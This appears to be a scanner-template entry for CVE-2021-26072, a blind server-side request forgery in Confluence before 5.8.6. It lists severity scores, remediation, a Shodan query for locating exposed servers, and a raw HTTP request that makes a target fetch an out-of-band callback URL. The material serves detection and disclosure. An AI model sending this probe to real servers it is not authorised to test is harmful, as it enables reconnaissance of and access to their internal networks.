| Title | Atlassian Confluence < 5.8.6 - Server-Side Request Forgery |
|---|---|
| Author | TechbrunchFR |
| Severity | Medium |
| Impact | Authenticated attackers can manipulate internal network resources via SSRF, potentially accessing sensitive internal services or data. |
| Remediation | Upgrade to Confluence Server version 5.8.6 or later. |
| CVSS Score | 4.3 |
| EPSS Score | 0.1813 |
| CVE ID | CVE-2021-26072 |
| CWE ID | CWE-918 |
| Shodan Query | http.component:"Atlassian Confluence" |
| Tags | cve cve2021 confluence atlassian ssrf oast vuln vkev |
Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.
GET /rest/sharelinks/1.0/link?url=https://d5jnj79le0o3ng2mvp80zcumnmbx64749.oast.online/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26072.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-26072.pcap
N/AN/A